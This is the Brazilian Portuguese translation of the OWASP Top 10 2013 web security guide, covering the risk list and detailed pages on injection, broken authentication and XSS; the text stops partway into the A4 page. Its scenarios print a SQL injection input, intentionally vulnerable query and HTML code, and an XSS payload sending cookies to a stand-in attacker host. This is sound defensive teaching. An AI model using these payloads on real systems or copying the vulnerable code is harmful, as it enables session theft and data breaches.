OWASP Top 10 - 2013 Brazilian Portuguese

BR
Verso PT-BR
Notas

Esta verso do OWASP Top 10 foi
desenvolvida como parte integrante da
atividade conjunta dos captulos brasileiro
e portugus da OWASP, em prol da
comunidade de programadores e da
segurana das aplicaes desenvolvidas nos
pases de lngua portuguesa.

Este documento baseado na verso
OWASP Top 10 de 2013 e a traduo
pretende ser fiel ao texto original.

O Projeto OWASP em Lngua Portuguesa
pode ser acessado em:
https://www.owasp.org/index.php/OWASP_Portug
uese_Language_Project

Para saber mais sobre os eventos e
atividades desenvolvidas pelos captulos
brasileiro e portugus da OWASP, acesse as
pginas:
- https://www.owasp.org/index.php/Brazilian
- https://www.owasp.org/index.php/Portuguese

Participantes

Participaram da traduo os lderes do
Projeto OWASP em Lngua Portuguesa:
Carlos Serro (Portugal)
Marcio Machry (Brasil)

E os seguintes voluntrios:
caro Evangelista de Torres
Carlo Marcelo Revoredo da Silva
Luiz Vieira
Suely Ramalho de Mello
Jorge Olmpia
Daniel Quinto
Mauro Risonho de Paula Assumpo
Marcelo Lopes
Caio Dias
Rodrigo Gularte

O
Sobre a OWASP
Copyright e Licena
Copyright 2003 2013 The OWASP Foundation

Este documento publicado sob a licena Creative Commons Attribution ShareAlike 3.0. Para qualquer
tipo de reutilizao ou distribuio, os termos deste trabalho devero ser informados.
Prefcio

O software inseguro est debilitando nossa infraestrutura
financeira, de sade, de defesa, de energia e outras
infraestruturas crticas. medida que nossa infraestrutura
digital fica cada vez mais complexa e interligada, a
dificuldade em obter segurana em aplicaes aumenta
exponencialmente. No podemos mais tolerar os problemas
de segurana relativamente simples, como os apresentados
nesta edio do OWASP Top 10.

O Top 10 tem como objetivo a sensibilizao sobre segurana
em aplicaes atravs da identificao de alguns dos riscos
mais crticos enfrentados pelas organizaes. O projeto Top
10 referenciado por muitas normas, livros, ferramentas e
organizaes, incluindo MITRE, PCI DSS, DISA, FTC, e muitas
outras. Esta verso do projeto Top 10 marca o dcimo
aniversrio dessa sensibilizao. O OWASP Top 10 foi lanado
inicialmente em 2003, tendo pequenas atualizaes em 2004
e em 2007. A verso de 2010 foi reformulada para priorizar
por risco, no somente por prevalncia. A verso 2013 segue
essa mesma abordagem.

A OWASP encoraja a utilizao do Top 10 para que as
organizaes comecem com segurana em suas aplicaes.
Os desenvolvedores podem aprender com os erros de outras
organizaes. Os executivos devem comear a pensar em
como gerenciar o risco que as aplicaes de software criam
em suas empresas.

A longo prazo, encorajamos a criao de um programa de
segurana em aplicaes compatvel com a cultura e
tecnologia da organizao. Estes programas podem existir
em qualquer tamanho e forma, e deve-se evitar seguir
apenas o que um determinado modelo prescreve. Ao invs
disso, deve-se aproveitar os pontos fortes da organizao
para quantificar e determinar o que funciona para a mesma.

Desejamos que o OWASP Top 10 seja til em seus esforos
de segurana em aplicaes. No deixe de contatar a OWASP
com suas perguntas, comentrios e outras ideias, seja
publicamente na owasp-topten@lists.owasp.org ou de forma
privada para dave.wichers@owasp.org.
Sobre a OWASP

Open Web Application Security Project (OWASP) uma
comunidade aberta, dedicada a capacitar as organizaes a
desenvolver, adquirir e manter aplicaes confiveis. No
OWASP se pode encontrar, grtis e de forma aberta...

Normas e ferramentas de segurana em aplicaes
Livros completos sobre testes de segurana,
desenvolvimento de cdigo seguro e reviso de segurana
de cdigo
Normas e bibliotecas de controles de segurana
Captulos locais do OWASP pelo mundo
Pesquisas ltima gerao
Conferncias do OWASP pelo mundo
Listas de discusso.
Saiba mais em: https://www.owasp.org

Todos as ferramentas, documentos, fruns e captulos do
OWASP so grtis e abertos a todos os interessados em
aperfeioar a segurana em aplicaes. Promovemos a
abordagem da segurana em aplicaes como um problema
de pessoas, processos e tecnologia, porque as abordagens
mais eficazes em segurana de aplicaes requerem melhorias
nestas reas.

A OWASP um novo tipo de organizao. O fato de ser livre de
presses comerciais permite fornecer informao de
segurana de aplicaes imparcial, prtica e de custo eficiente.
A OWASP no filiada a nenhuma empresa de tecnologia,
apesar de apoiar o uso de tecnologia de segurana comercial.
Da mesma forma que muitos projetos de software de cdigo
aberto, a OWASP produz vrios tipos de materiais de maneira
colaborativa e aberta.

A Fundao OWASP uma entidade sem fins lucrativos que
garante o sucesso do projeto a longo prazo. Quase todos os
associados OWASP so voluntrios, incluindo a Direo da
OWASP, os Comits Globais, os Lderes dos Captulos, os
Lderes de Projetos e os membros dos projetos. Apoiamos a
pesquisa inovadora em segurana atravs de bolsas e
infraestrutura.
Junte-se a ns!
Bem-vindo
Bem-vindo ao OWASP Top 10 2013! Esta atualizao amplia uma das categorias da verso 2010 para ser mais abrangente,
incluindo vulnerabilidades importantes, comuns, e reordena outras com base na mudana de dados de prevalncia. Ele tambm
traz a segurana de componentes para o centro das atenes criando uma categoria especfica para este risco, tirando-o da
obscuridade das letras midas do risco A6 de 2010: Configurao Incorreta de Segurana.
O OWASP Top 10 para 2013 baseado em 8 conjuntos de dados de 7 empresas que se especializam em segurana de aplicaes,
incluindo 4 consultorias and 3 fornecedores de ferramenta/Software as a Service (1 esttica, 1 dinmica, and 1 com ambas) .
Estes dados abrangem mais de 500.000 vulnerabilidades em centenas de organizaes e milhares de aplicaes. Os itens Top 10
so selcionados e priorizados de acordo com dados de prevalncia, em combinao com estimativas do consenso da explorao,
deteco e impacto.
O objetivo principal do OWASP Top 10 educar desenvolvedores, projetistas, arquitetos, gestores e organizaes sobre as
consequncias das mais importantes vulnerabilidades de segurana de aplicaes web. O Top 10 fornece tcnicas bsicas para se
proteger contra essas reas problemticas de alto risco e tambm fornece orientao sobre onde ir a partir daqui.
Avisos
No pare nos 10. Existem centenas de problemas que podem
afetar a segurana geral de uma aplicao web como
discutido no Guia do Desenvolvedor OWASP e na Srie de
Dicas OWASP. Estas so leituras essenciais para o
desenvolvimento de aplicaes web. Orientao sobre como
encontrar, de forma efetiva, vulnerabilidades em aplicaes
web fornecida no Guia de Testes OWASP e no Guia de
Reviso de Cdigo OWASP.
Mudana constante. Este Top 10 continuar sendo alterado.
Mesmo sem alterar uma linha de cdigo da sua aplicao, ela
poder ficar vulnervel a novas falhas que so descobertas e
mtodos de ataque que so refinados. Por favor, revise a
orientao no final deste documento em Prximos Passos
para Desenvolvedores, Verificadores e Organizaes para
maiores informaes.
Pense positivo. Quando voc estiver pronto para parar de
procurar vulnerabilidades e focar no estabelecimento de
fortes controles de segurana nas suas aplicaes, OWASP
produziu o Padro de Verificao de Segurana em
Applicaes (ASVS) como um guia de verificao para as
organizaes.
Use ferramentas de forma inteligente. Vulnerabilidades de
segurana podem ser bastante complexas e enterradas em
montanhas de cdigo. Em muitos casos, a abordagem com
melhor custo-benefcio para encontrar e eliminar estas
vulnerabilidades envolver especialistas armados com boas
ferramentas.
Mude de rumo. Concentre-se em tornar a segurana parte
integral da cultura de desenvolvimento da organizao.
Encontre mais no Modelo Aberto de Maturidade e Garantia
do Software (SAMM) and the Rugged Handbook.
Agradecimentos

Obrigado Aspect Security por iniciar, liderar e atualizar o
OWASP Top 10 desde sua concepo em 2003, e a seus
autores principais: Jeff Williams and Dave Wichers.

Gostaramos de agradecer s organizaes que contriburam
com seus dados de prevalncia para esta atualizao de 2013:

Aspect Security Estatsticas
HP Estatsticas from both Fortify and WebInspect
Minded Security Estatsticas
Softtek Estatsticas
Trustwave, SpiderLabs Estatsticas (See page 50)
Veracode Estatsticas
WhiteHat Security Inc. Estatsticas

Ns gostaramos de agradecer todos que contriburam com as
verses anteriores do Top 10. Sem estas contribuies, ele no
seria o que hoje. Tambm agradecemos aqueles que
contriburam com comentrios e tempo revisando esta
atualizao:
Adam Baso (Wikimedia Foundation)
Mike Boberski (Booz Allen Hamilton)
Torsten Gigler
Neil Smithline (MorphoTrust USA) Pela produo da
verso wiki do Top 10, e fornecendo feedback

E finalmente, agradecemos antecipadamente todos os
tradutores que iro traduzir esta verso do Top 10 em
inmeras linguagens diferentes, ajudando a torn-lo mais
acessvel no planeta inteiro.
I
Introduo
O que mudou de 2010 para 2013?
O cenrio de ameaas para a segurana das aplicaes muda constantemente. Os principais fatores dessa evoluo so os avanos feitos pelos
atacantes, o lanamento de novas tecnologias com novas vulnerabilidade, bem como a maior incorporao de defesas, e a implantao de
sistemas cada vez mais complexos. Para acompanhar esta evoluo, ns atualizamos periodicamente o OWASP Top 10. Nesta verso de 2013,
fizemos as seguintes alteraes:

1) Quebra de Autenticao e Gerenciamento de Sesso aumentou sua prevalncia em nossa base de dados. Acreditamos que isto
provavelmente ocorreu porque esta rea est sendo analisada rigorosamente, e no porque mais predominante. Isso resultou na troca
de posies entre os Riscos A2 e A3.

2) Cross-Site Request Forgery (CSRF) reduziu sua prevalncia em nossa base de dados de 2010-A5 para 2013-A8. Acreditamos que a causa
seja o fato do CSRF permanecer no OWASP Top 10 por 6 anos, e as organizaes e os frameworks de desenvolvimento concentraram-se
em reduzir significativamente o nmero de vulnerabilidades CSRF nas aplicaes.

3) Ampliamos a Falha na Restrio de Acesso a URL do OWASP Top 10 2010 para ser mais abrangente:

+ 2010-A8: Falha na Restrio de Acesso a URL agora 2013-A7: Falta de Funo para Controle do Nvel de Acesso cobrindo todas as
funes de controle do nvel de acesso. Existem muitas maneiras de especificar qual funo est sendo acessada, no apenas a URL.
4) Agrupamos e ampliamos 2010-A7 e 2010-A9 para CRIAR: 2013-A6:Exposio de Dados Sensveis:

Esta uma nova categoria criada com o agrupamento do 2010-A7 - Armazenamento Criptogrfico Inseguro e 2010-A9 - Proteo
Insuficiente no Nvel de Transporte, alm de adicionar riscos aos dados sensveis inseridos via navegador. Esta nova categoria abrange
proteo a dados sensveis (exceto controle de acesso que coberto pelos 2013-A4 e 2013-A7) a partir do momento que esses dados
so fornecidos pelo usurio, enviados e armazenados pela aplicao, e em seguida enviados novamente ao navegador.
5) Adicionamos: 2013-A9: Utilizao de Componentes Vulnerveis Conhecidos
+ Este assunto foi mencionado como parte do 2010-A6 - Configurao Incorreta de Segurana, mas agora possui uma categoria prpria
devido ao crescimento do desenvolvimento baseado em componentes, o que aumentou significativamente o risco de utilizao de
componentes vulnerveis conhecidos.
OWASP Top 10 2010 (Anterior) OWASP Top 10 2013 (Novo)
A1 Injeo de cdigo A1 Injeo de cdigo
A3 Quebra de autenticao e Gerenciamento de Sesso A2 Quebra de autenticao e Gerenciamento de Sesso
A2 Cross-Site Scripting (XSS) A3 Cross-Site Scripting (XSS)
A4 Referncia Insegura e Direta a Objetos A4 Referncia Insegura e Direta a Objetos
A6 Configurao Incorreta de Segurana A5 Configurao Incorreta de Segurana
A7 Armazenamento Criptogrfico Inseguro Agrupado
com A9
A6 Exposio de Dados Sensveis
A8 Falha na Restrio de Acesso a URL Ampliado para A7 Falta de Funo para Controle do Nvel de Acesso
A5 Cross-Site Request Forgery (CSRF) A8 Cross-Site Request Forgery (CSRF)
<Removido do A6: Configurao Incorreta de Segurana> A9 Utilizao de Componentes Vulnerveis Conhecidos
A10 Redirecionamentos e Encaminhamentos Invlidos A10 Redirecionamentos e Encaminhamentos Invlidos
A9 Proteo Insuficiente no Nvel de Transporte Agrupado com 2010-A7 criando o 2013-A6
Notas da Verso
NV
Weakness
Attack
Threat
Agents
Impact
Weakness
Attack
Attack
Vectors
Security
Weaknesses
Technical
Impacts
Business
Impacts
Attack
Impact
Impact
Asset
Function
Asset
Weakness
Control
Control
Control Weakness
Security
Controls
Riscos de Segurana em
Aplicaes
Risco
Referncias

OWASP
OWASP Risk Rating Methodology
Article on Threat/Risk Modeling

External
FAIR Information Risk Framework
Microsoft Threat Modeling (STRIDE
and DREAD)

Qual o Meu Risco?
O OWASP Top 10 tem seu foco na identificao dos riscos mais graves para uma
ampla gama de organizaes. Para cada um destes riscos, ns fornecemos
informaes genricas sobre a probabilidade de ocorrncia e impacto tcnico
usando o esquema simples de classificao abaixo, que se baseia na metodologia
de avaliao de riscos da OWASP (OWASP Risk Rating Methodology).

Somente voc sabe os detalhes do seu ambiente e negcio. Para qualquer
aplicao, pode no haver um agente de ameaa que possa executar um ataque
relevante, ou o impacto tcnico pode no fazer nenhuma diferena para o seu
negcio. Portanto, voc deve avaliar cada risco, focando nos agentes de ameaa,
controles de segurana e impactos no negcio de sua empresa. Ns listamos
Agentes de Ameaa como Especficos da Aplicao, e Impactos no Negcio como
Especficos do Negcio/Aplicao para indicar que estes so claramente
dependentes dos detalhes sobre a sua aplicao em sua empresa.
Os nomes dos riscos no Top 10 derivam-se do tipo de ataque, do tipo de
vulnerabilidade, ou do tipo de impacto causado. Escolhemos nomes que refletem
com preciso os riscos e, quando possvel, alinham-se com a terminologia mais
provvel para auxiliar na conscientizao das pessoas.
O que so Riscos de Segurana em Aplicaes?
Os atacantes podem, potencialmente, usar vrios caminhos diferentes atravs da sua aplicao para causar danos ao seu negcio
ou organizao. Cada um desses caminhos representa um risco que pode, ou no, ser grave o suficiente para justificar a sua
ateno.

s vezes, esses caminhos so triviais para encontrar e explorar, e em outras, so extremamente difceis. Da mesma forma, o dano
causado pode ter nenhuma consequncia, ou pode acabar com o seu negcio. Para determinar o risco para a sua organizao,
voc pode avaliar a probabilidade associada a cada agente de ameaa, vetor de ataque, vulnerabilidade de segurana e combin-
la com uma estimativa dos impactos tcnico e no negcio da sua empresa. Juntos, esses fatores determinam o risco total.
Agentes
de Ameaa
Vetores de
Ataque
Prevalncia da
Vulnerabilidade
Deteco
Vulnerabilidade
Impactos
Tcnicos
Impactos
no
Negcio
Especfico
da
Aplicao
Fcil Generalizada Fcil Severo
Especfico
do
Negcio/
Aplicao
Mdia Comum Mdia Moderado
Difcil Rara Difcil Pequeno
As falhas de Injeo, tais como injeo de SQL, de SO (Sistema Operacional) e de LDAP, ocorrem quando
dados no confiavis so enviados para um interpretador como parte de um comando ou consulta. Os
dados manipulados pelo atacante podem iludir o interpretador para que este execute comandos
indesejados ou permita o acesso a dados no autorizados.
A1 Injeo
As funes da aplicao relacionadas com autenticao e gerenciamento de sesso geralmente so
implementadas de forma incorreta, permitindo que os atacantes comprometam senhas, chaves e tokens de
sesso ou, ainda, explorem outra falha da implementao para assumir a identidade de outros usurios.
A2 Quebra de
Autenticao e
Gerenciamento de
Sesso
Falhas XSS ocorrem sempre que uma aplicao recebe dados no confiveis e os envia ao navegador sem
validao ou filtro adequados. XSS permite aos atacantes executarem scripts no navegador da vtima que
podem sequestrar sesses do usurio, desfigurar sites, ou redirecionar o usurio para sites maliciosos.
A3 Cross-Site
Scripting (XSS)
Uma referncia insegura e direta a um objeto ocorre quando um programador expe uma referncia
implementao interna de um objeto, como um arquivo, diretrio, ou registro da base de dados. Sem a
verificao do controle de acesso ou outra proteo, os atacantes podem manipular estas referncias para
acessar dados no-autorizados.
A4 Referncia
Insegura e Direta a
Objetos
Uma boa segurana exige a definio de uma configurao segura e implementada na aplicao,
frameworks, servidor de aplicao, servidor web, banco de dados e plataforma. Todas essas configuraes
devem ser definidas, implementadas e mantidas, j que geralmente a configurao padro insegura.
Adicionalmente, o software deve ser mantido atualizado.
A5 Configurao
Incorreta de
Segurana
Muitas aplicaes web no protegem devidamente os dados sensveis, tais como cartes de crdito, IDs
fiscais e credenciais de autenticao. Os atacantes podem roubar ou modificar esses dados desprotegidos
com o propsito de realizar fraudes de cartes de crdito, roubo de identidade, ou outros crimes. Os dados
sensveis merecem proteo extra como criptografia no armazenamento ou em trnsito, bem como
precaues especiais quando trafegadas pelo navegador.
A6 Exposio de
Dados Sensveis
A maioria das aplicaes web verificam os direitos de acesso em nvel de funo antes de tornar essa
funcionalidade visvel na interface do usurio. No entanto, as aplicaes precisam executar as mesmas
verificaes de controle de acesso no servidor quando cada funo invocada. Se estas requisies no
forem verificadas, os atacantes sero capazes de forjar as requisies, com o propsito de acessar a
funcionalidade sem autorizao adequada.
A7 Falta de
Funo para
Controle do Nvel
de Acesso
Um ataque CSRF fora a vtima que possui uma sesso ativa em um navegador a enviar uma requisio
HTTP forjada, incluindo o cookie da sesso da vtima e qualquer outra informao de autenticao includa
na sesso, a uma aplicao web vulnervel. Esta falha permite ao atacante forar o navegador da vtima a
criar requisies que a aplicao vulnervel aceite como requisies legtimas realizadas pela vtima.
A8 Cross-Site
Request Forgery
(CSRF)
Componentes, tais como bibliotecas, frameworks, e outros mdulos de software quase sempre so
executados com privilgios elevados. Se um componente vulnervel explorado, um ataque pode causar
srias perdas de dados ou o comprometimento do servidor. As aplicaes que utilizam componentes com
vulnerabilidades conhecidas podem minar as suas defesas e permitir uma gama de possveis ataques e
impactos.
A9 Utilizao de
Componentes
Vulnerveis
Conhecidos
Aplicaes web frequentemente redirecionam e encaminham usurios para outras pginas e sites, e usam
dados no confiveis para determinar as pginas de destino. Sem uma validao adequada, os atacantes
podem redirecionar as vtimas para sites de phishing ou malware, ou usar encaminhamentos para acessar
pginas no autorizadas.
A10
Redirecionamentos
e Encaminhamen-
tos Invlidos
OWASP Top 10 Riscos de
Segurana em Aplicaes 2013
T10
Especfico da
Aplicao
Explorao
FCIL
Prevalncia
COMUM
Deteco
MDIA
Impacto
SEVERO
Especfico do
Negcio / Aplicao
Considere algum que
possa enviar dados no-
confiveis para o
sistema, incluindo
usurios externos,
usurios internos, e
administradores.
Atacante envia ataques
simples baseados em
texto que exploram a
sintaxe do interpretador
alvo. Praticamente
qualquer fonte de dados
pode ser um vetor de
injeo, incluindo fontes
internas.
Falhas de injeo ocorrem quando uma aplicao
envia dados no-confiveis para um interpretador.
Falhas de injeo esto muito predominantes,
particularmente em cdigos legados. Elas
geralmente so encontradas em consultas SQL,
LDAP, Xpath ou NoSQL; comandos do SO;
analisadores XML; cabealhos SMTP; argumentos do
programa, etc. Falhas de injeo so fceis de
descobrir ao examinar o cdigo, mas
frequentemente difceis de descobrir atravs de
testes. Escaneadores e fuzzers podem ajudar
atacantes a encontrar falhas de injeo.
Injeo pode resultar em
perda ou corrupo de
dados, falta de
responsabilizao, ou
negao de acesso.
Algumas vezes, a injeo
pode levar ao
comprometimento
completo do servidor.
Considere o valor de
negcio dos dados
afetados e a plataforma
de execuo do
interpretador. Todos os
dados podem ser
roubados, modificados,
ou excludos. A sua
reputao poderia ser
afetada?

Exemplos de Cenrios de Ataque
Cenrio #1: A aplicao utiliza dados no confiveis na construo da
seguinte chamada SQL vulnervel:
String query = "SELECT * FROM accounts WHERE
custID='" + request.getParameter("id") + "'";
Cenrio #2: De forma similar, uma aplicao confiar cegamente nos
frameworks pode resultar em consultas que continuam vulnerveis, (ex.,
linguagem de consulta Hibernate (HQL)):
Query HQLQuery = session.createQuery(FROM accounts
WHERE custID=' + request.getParameter("id") + "'");
Em ambos os casos, o atacante modifica o valor do parmetro id em seu
navegador para enviar: ' or '1'='1. Por exemplo:
http://example.com/app/accountView?id=' or '1'='1
Isso muda o significado de ambas as consultas para retornar todos os
registros da tabela de contas. Ataques mais perigosos poderiam modificar
dados ou at mesmo chamar procedimentos armazenados.

Estou vulnervel?
A melhor forma para descobrir se uma aplicao est vulnervel injeo
verificar se todos os usos dos interpretadores separam claramente os dados
no-confiveis do comando ou consulta. Para chamadas SQL, isso significa
utilizar variveis de ligao em todas as instrues preparadas e
procedimentos armazenados, e evitar consultas dinmicas.
Verificar o cdigo uma forma rpida e precisa de identificar se a aplicao
utiliza os interpretadores seguramente. Ferramentas de anlise de cdigo
podem ajudar o analista de segurana a encontrar o uso dos interpretadores
e traar o fluxo de dados atravs da aplicao. Testes de invaso podem
validar estas questes atravs da elaborao de exploits que confirmam a
vulnerabilidade.
Varredura dinmica automatizada que exercite a aplicao pode fornecer
uma viso caso exista alguma falha explorvel de injeo. Escaneadores nem
sempre podem alcanar os interpretadores e tem dificuldade em detectar se
um ataque foi bem sucedido. Tratamento de erros fraco torna as falhas de
injeo fceis de descobrir.

Referncias
OWASP
OWASP SQL Injection Prevention Cheat Sheet
OWASP Query Parameterization Cheat Sheet
OWASP Command Injection Article
OWASP XML eXternal Entity (XXE) Reference Article
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP Testing Guide: Chapter on SQL Injection Testing
Externas
CWE Entry 77 on Command Injection
CWE Entry 89 on SQL Injection
CWE Entry 564 on Hibernate Injection

Como fao para evitar?
Preveno de injeo requer manter os dados no confiveis separados dos
comandos e consultas.
1. A opo preferida utilizar uma API segura que evite o uso do
interpretador inteiramente ou fornea uma interface parametrizada.
Seja cuidadoso com APIs, assim como procedimentos armazenados,
que so parametrizados, mas podem ainda introduzir injeo por
debaixo dos panos.
2. Se uma API parametrizada no estiver disponvel, voc deve
cuidadosamente filtrar os caracteres especiais utilizando a sintaxe para
esse interpretador. OWASPs ESAPI fornece muitas dessas rotinas de
filtragem.
3. Lista branca" ou validao de entrada positiva tambm
recomendada, mas no uma defesa completa j que muitas
aplicaes requerem caracteres especiais em suas entradas. Se os
caracteres especiais so exigidos, somente as abordagens 1. e 2. acima
tornaro a sua utilizao segura. OWASPs ESAPI tem uma extensa
biblioteca de rotinas de validao de entradas por lista branca.
A1
Injeo
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
MDIA
Prevalncia
GENERALIZADA
Deteco
MDIA
Impacto
SEVERO
Especfico do
Negcio / Aplicao
Considere atacantes
externos annimos,
ou mesmo usurios
autenticados, que
podem tentar roubar
contas de outros
usurios. Considere
tambm usurios
internos que desejam
disfarar suas aes.
Atacante usa
vazamentos ou falhas
nas funes de
autenticao ou
gerenciamento de
sesso (por exemplo,
contas expostas,
senhas, IDs de sesso)
para assumir a
identidade de outro
usurio.
Os desenvolvedores frequentemente
implementam a autenticao e gerenciamento
de sesso em suas aplicaes de forma
personalizada, mas a implementao correta
difcil. Como resultado, esses esquemas
personalizados frequentemente possuem
falhas em reas do sistema como logout,
gesto de senhas, tempo de expirao,
"lembrar senha", pergunta secreta, atualizar
conta, etc. Algumas vezes, encontrar essas
falhas pode ser difcil j que cada
implementao nica.
Tais falhas podem
permitir que algumas
ou mesmo todas as
contas sejam
atacadas. Uma vez
bem sucedido, o
atacante pode fazer
qualquer coisa que a
vtima faria. Contas
privilegiadas so alvos
frequentes.
negcio dos dados ou
funes da aplicao
afetados. Tambm
considere o impacto
no negcio atravs da
exposio pblica da
vulnerabilidade.

Cenrio # 1: Uma aplicao de reservas de passagens areas suporta
reescrita de URL, colocando IDs de sesso na URL:
http://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSK
HCJUN2JV?dest=Hawaii
Um usurio autenticado do site quer deixar seus amigos saberem
sobre a venda. Ele envia um e-mail do link acima sem saber que com
isso tambm est enviando a sua ID da sesso. Quando seus amigos
utilizarem o link, iro usar sua sesso e carto de crdito.
Cenrio # 2: O tempo de expirao da aplicao no est definido
corretamente. O usurio utiliza um computador pblico para acessar
o site. Em vez de selecionar logout o usurio simplesmente fecha a
aba do navegador e vai embora. O atacante usa o mesmo navegador
uma hora mais tarde, e esse navegador ainda est autenticado.
Cenrio # 3: Atacante interno ou externo ganha acesso ao banco de
dados de senhas do sistema. Senhas de usurios no esto utilizan-
do hash, expondo assim todas as senhas dos usurios ao atacante.

Estou vulnervel?
Os ativos de gerenciamento de sesso, como credenciais do usurio e IDs de
sesso, so protegidos adequadamente? Voc pode estar vulnervel se:
1. As credenciais de autenticao de usurio no esto protegidas
utilizando hash ou criptografia, quando armazenadas. Ver A6.
2. As credenciais podem ser descobertas atravs de fracas funes de
gerenciamento de contas (por exemplo, criao de conta, alterao de
senha, recuperao de senha, IDs de sesso fracos).
3. IDs de sesso so expostos na URL (por exemplo, reescrita de URL).
4. IDs de sesso so vulnerveis a ataques de fixao de sesso.
5. IDs de sesso no expiram, ou sesses de usurio ou tokens de
autenticao, particularmente aqueles baseados em single sign-on
(SSO), e no so devidamente invalidados durante o logout.
6. IDs de sesso no so rotacionados aps o login bem-sucedido.
7. Senhas, IDs de sesso, e outras credenciais so enviadas atravs de
conexes no criptografadas. Ver A6.
Veja as reas de exigncia V2 e V3 do ASVS para mais detalhes.

Referncias
OWASP
Para um conjunto mais completo de requisitos e problemas a
evitar nesta rea, consulte as reas de requisitos ASVS para
autenticao (V2) e gerenciamento de sesso (V3).
OWASP Authentication Cheat Sheet
OWASP Forgot Password Cheat Sheet
OWASP Session Management Cheat Sheet
OWASP Development Guide: Chapter on Authentication
OWASP Testing Guide: Chapter on Authentication
Externas
CWE Entry 287 on Improper Authentication
CWE Entry 384 on Session Fixation

A recomendao principal para uma organizao disponibilizar aos
desenvolvedores:
1. Um conjunto nico de controles fortes de autenticao e
gerenciamento de sesso. Tais controles devem procurar:
a) Cumprir todos os requisitos de autenticao e
gerenciamento de sesso definidos no Padro de
Verificao de Segurana da Aplicao do OWASP (ASVS),
reas V2 (Autenticao) e V3 (Gerenciamento de Sesso).
b) ter uma interface simples para os desenvolvedores.
Considere o ESAPI Authenticator e User APIs como bons
exemplos para simular, usar ou construir como base.
2. Grandes esforos tambm deve ser feitos para evitar falhas de
XSS que podem ser utilizados para roubar os IDs de sesso. Ver
A3.

A2
Quebra de Autenticao e
Gerenciamento de Sesso
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
MDIA
Prevalncia
MUITO DIFUNDIDA
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Considere algum que
possa enviar dados no-
confiveis para o
sistema, incluindo
usurios externos,
usurios internos, e
administradores.
Os atacantes enviam
ataques de script
baseado em texto que
exploram o
interpretador no
navegador. Quase
qualquer fonte de dados
pode ser um vetor de
ataque, incluindo fontes
internas como dados do
banco de dados.
XSS a mais predominante falha de segurana em
aplicaes web. As falhas de XSS ocorrem quando
uma aplicao inclui os dados fornecidos pelo
usurio na pgina, enviados ao navegador, sem a
validao ou filtro apropriados desse contedo.
Existem trs tipos conhecidos de falhas XSS: 1)
Persistente, 2) Refletido, e 3) XSS baseado em DOM.
A deteco da maioria das falhas XSS bastante fcil
via testes ou anlise de cdigo.
Atacantes podem
executar scripts no
navegador da vtima
para sequestrar sesses
do usurio, desfigurar
web sites, inserir
contedo hostil,
redirecionar usurios,
seqestrar o navegador
usando malware, etc.
Considere o valor do
negcio do sistema
afetado e todos os dados
que processa.
Tambm considere o
impacto no negcio da
exposio pblica da
vulnerabilidade.

Exemplo de Cenrio de Ataque
A aplicao utiliza dados no-confiveis na construo do
seguinte fragmento HTML sem validao ou filtro:
(String) page += "<input name='creditcard' type='TEXT
value='" + request.getParameter("CC") + "'>";
O atacante modifica o parmetro 'CC' em seu navegador
para:
'><script>document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
Isso causa o envio do ID de sesso da vtima para o site do
atacante, permitindo que o atacante sequestre a sesso atual
do usurio.
Note que o atacante tambm pode usar o XSS para anular
qualquer defesa automtica de CSRF que a aplicao possa
empregar. Veja o A8 para informaes sobre CSRF.

Estou vulnervel?
Voc est vulnervel se no garantir que todas as entradas
fornecidas pelos usurios sejam apropriadamente filtradas, ou voc
no verifica que elas sejam seguras via validao de entrada, antes
de incluir essa entrada na pgina de sada. Sem o adequado filtro ou
validao da sada, tal entrada ser tratada como contedo ativo no
navegador. Se o Ajax est sendo usado para atualizar a pgina
dinamicamente, voc est usando APIS seguras do JavaScript? Para
APIS inseguras, codificao ou validao tambm devem ser usadas.
Ferramentas automatizadas podem encontrar alguns problemas de
XSS automaticamente. Porm, cada aplicao constri pginas de
sada diferentemente e utiliza diferentes interpretadores no lado do
navegador como JavaScript, ActiveX, Flash, e Silverlight, criando
dificuldades para a deteco automtica. Portanto, uma cobertura
completa exige uma combinao de reviso manual de cdigo e
teste de invaso, alm das abordagens automatizadas.
Tecnologias Web 2.0, como Ajax, tornam o XSS muito mais difcil de
detectar via ferramentas automatizadas.

Referncias
OWASP
OWASP XSS Prevention Cheat Sheet
OWASP DOM based XSS Prevention Cheat Sheet
OWASP Cross-Site Scripting Article
ESAPI Encoder API
ASVS: Output Encoding/Escaping Requirements (V6)
OWASP AntiSamy: Sanitization Library
Testing Guide: 1st 3 Chapters on Data Validation Testing
OWASP Code Review Guide: Chapter on XSS Review
OWASP XSS Filter Evasion Cheat Sheet
Externas
CWE Entry 79 on Cross-Site Scripting

Evitar XSS requer a separao do dado no-confivel do contedo
ativo no navegador.
1. A opo apropriada filtrar adequadamente todos os dados
no-confiveis com base no contexto HTML (corpo, atributo,
JavaScript, CSS ou URL) no qual os dados sero colocados. Veja
o OWASP XSS Prevention Cheat Sheet para detalhes sobre os
requisitos das tcnicas de filtro de dados.
2. Lista branca" ou validao de entrada positiva tambm
recomendada pois ajuda a proteger contra XSS, mas no uma
defesa completa, j que muitas aplicaes requerem caracteres
especiais em sua entrada. Tal validao deve, tanto quanto
possvel, validar o tamanho, caracteres, formato, e as regras de
negcio sobre os dados antes de aceitar a entrada.
3. Para contedo rico considere bibliotecas de auto-sanitizao
como OWASP's AntiSamy ou o Java HTML Sanitizer Project.
4. Considere a Content Security Policy (CSP) para se defender
contra XSS em todo o seu site.
A3
Cross-Site Scripting (XSS)
Vulnerabilidades
de Segurana
Vetores
de Ataque
Impactos
Tcnicos
Agentes de Ameaa
Impactos
no Negcio
Especfico da
Aplicao
Explorao
FCIL
Prevalncia
COMUM
Deteco
FCIL
Impacto
MODERADO
Especfico do
Negcio / Aplicao
Considere o tipo dos
usurios do seu
sistema. Qualquer
usurio tem somente
acesso parcial a
determinados tipos de
dados do sistema?
O atacante, que um
usurio autorizado do
sistema,
simplesmente muda o
valor de um
parmetro que se
refere diretamente a
um objeto do sistema
por outro objeto que
o usurio no est
autorizado. O acesso
concedido?
Aplicaes freqentemente usam o nome real
ou a chave de um objeto ao gerar pginas web.
Aplicaes nem sempre verificam se o usurio
autorizado para o objeto alvo. Isto resulta
